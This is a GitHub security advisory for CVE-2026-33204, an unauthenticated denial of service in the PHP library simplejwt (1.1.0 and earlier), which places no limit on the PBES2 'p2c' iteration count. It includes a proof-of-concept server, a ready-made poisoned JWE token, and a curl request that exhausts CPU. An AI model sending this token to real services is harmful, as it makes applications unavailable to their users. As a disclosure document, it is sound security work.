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SimpleJWT has an Unauthenticated Denial of Service via JWE header tampering

High severity GitHub Reviewed Published Mar 18, 2026 in kelvinmo/simplejwt

Package

composer kelvinmo/simplejwt (Composer)

Affected versions

<= 1.1.0

Patched versions

1.1.1

Description

Summary

An unauthenticated attacker can perform a Denial of Service via JWE header tampering when PBES2 algorithms are used.
Applications that call JWE::decrypt() on attacker-controlled JWEs using PBES2 algorithms are affected.

Details

PHP version: PHP 8.4.11
SimpleJWT version: v1.1.0

The relevant portion of the vulnerable implementation is shown below (PBES2.php):

<?php
/* ... SNIP ... */
class PBES2 extends BaseAlgorithm implements KeyEncryptionAlgorithm {
    use AESKeyWrapTrait;

    /** @var array<string, mixed> $alg_params */
    static protected $alg_params = [
        'PBES2-HS256+A128KW' => ['hash' => 'sha256'],
        'PBES2-HS384+A192KW' => ['hash' => 'sha384'],
        'PBES2-HS512+A256KW' => ['hash' => 'sha512']
    ];

    /** @var truthy-string $hash_alg */
    protected $hash_alg;

    /** @var int $iterations */
    protected $iterations = 4096;
    
    /* ... SNIP ... */

    /**
     * Sets the number of iterations to use in PBKFD2 key generation.
     *
     * @param int $iterations number of iterations
     * @return void
     */
    public function setIterations(int $iterations) {
        $this->iterations = $iterations;
    }
    
    /* ... SNIP ... */

    /**
     * {@inheritdoc}
     */
    public function decryptKey(string $encrypted_key, KeySet $keys, array $headers, ?string $kid = null): string {
        /** @var SymmetricKey $key */
        $key = $this->selectKey($keys, $kid);
        if ($key == null) {
            throw new CryptException('Key not found or is invalid', CryptException::KEY_NOT_FOUND_ERROR);
        }
        if (!isset($headers['p2s']) || !isset($headers['p2c'])) {
            throw new CryptException('p2s or p2c headers not set', CryptException::INVALID_DATA_ERROR);
        }

        $derived_key = $this->generateKeyFromPassword($key->toBinary(), $headers);
        return $this->unwrapKey($encrypted_key, $derived_key, $headers);
    }
    
    /* ... SNIP ... */

    /**
     * @param array<string, mixed> $headers
     */
    private function generateKeyFromPassword(string $password, array $headers): string {
        $salt = $headers['alg'] . "\x00" . Util::base64url_decode($headers['p2s']);
        /** @var int<0, max> $length */
        $length = intdiv($this->getAESKWKeySize(), 8);

        return hash_pbkdf2($this->hash_alg, $password, $salt, $headers['p2c'], $length, true);
    }
}
?>

The security flaw lies in the lack of input validation when handling JWEs that uses PBES2.
A "sanity ceiling" is not set on the iteration count, which is the parameter known in the JWE specification as p2c (RFC7518).
The library calls decryptKey() with the untrusted input $headers which then use the PHP function hash_pbkdf2() with the user-supplied value $headers['p2c'].

This results in an algorithmic complexity denial-of-service (CPU exhaustion) because the PBKDF2 iteration count is fully attacker-controlled.
Because the header is processed before successful decryption and authentication, the attack can be triggered using an invalid JWE, meaning authentication is not required.

Proof of Concept

Spin up a simple PHP server which accepts a JWE as input and tries to decrypt the user supplied JWE.

mkdir simplejwt-poc
cd simplejwt-poc
composer install
composer require kelvinmo/simplejwt
php -S localhost:8000

The content of index.php:

<?php

require __DIR__ . '/vendor/autoload.php';

$set = SimpleJWT\Keys\KeySet::createFromSecret('secret123');

$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$method = $_SERVER['REQUEST_METHOD'];

if ($uri === '/encrypt' && $method === 'GET') {
    // Note $headers['alg'] and $headers['enc'] are required
    $headers = ['alg' => 'PBES2-HS256+A128KW', 'enc' => 'A256CBC-HS512'];
    $plaintext = 'This is the plaintext I want to encrypt.';
    $jwe = new SimpleJWT\JWE($headers, $plaintext);

    try {
        echo "Encrypted JWE: " . $jwe->encrypt($set);
    } catch (\RuntimeException $e) {
        echo $e;
    }
}

elseif ($uri === '/decrypt' && $method === 'GET') {
    try {
        $jwe = $_GET['s'];
        $jwe = SimpleJWT\JWE::decrypt($jwe, $set, 'PBES2-HS256+A128KW');
    } catch (SimpleJWT\InvalidTokenException $e) {
        echo $e;
    }
    echo $jwe->getHeader('alg') . "<br>";
    echo $jwe->getHeader('enc') . "<br>";
    echo $jwe->getPlaintext() . "<br>";
    }

else {
    http_response_code(404);
    echo "Route not found";
}

?>

We have to craft a JWE (even unsigned and unencrypted) with this header, notice the extremely large p2c value (more than 400 billion iterations):

{
    "alg": "PBES2-HS256+A128KW",
    "enc": "A128CBC-HS256",
    "p2s": "blablabla",
    "p2c": 409123223136
}

The final JWE with poisoned header: eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla.

Notice that only the header needs to be valid Base64URL JSON, the remaining JWE segments can contain arbitrary data.

Perform the following request to the server (which tries to derive the PBES2 key):

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: localhost:8000' \
    $'http://localhost:8000/decrypt?s=eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla'

The request blocks the worker until the PHP execution timeout is reached, shutting down the server:

[Sun Mar 15 11:42:18 2026] PHP 8.4.11 Development Server (http://localhost:8000) started
[Sun Mar 15 11:42:20 2026] 127.0.0.1:38532 Accepted

Fatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in /home/edoardottt/hack/test/simplejwt-poc/vendor/kelvinmo/simplejwt/src/SimpleJWT/Crypt/KeyManagement/PBES2.php on line 168

Impact

An attacker can send a crafted JWE with an extremely large p2c value to force the server to perform a very large number of PBKDF2 iterations.
This causes excessive CPU consumption during key derivation and blocks the request worker until execution limits are reached.
Repeated requests can exhaust server resources and make the application unavailable to legitimate users.

Credits

Edoardo Ottavianelli (@edoardottt)

References

@kelvinmo kelvinmo published to kelvinmo/simplejwt Mar 18, 2026
Published to the GitHub Advisory Database Mar 18, 2026
Reviewed Mar 18, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

CVE ID

CVE-2026-33204

GHSA ID

GHSA-xw36-67f8-339x

Source code

Credits

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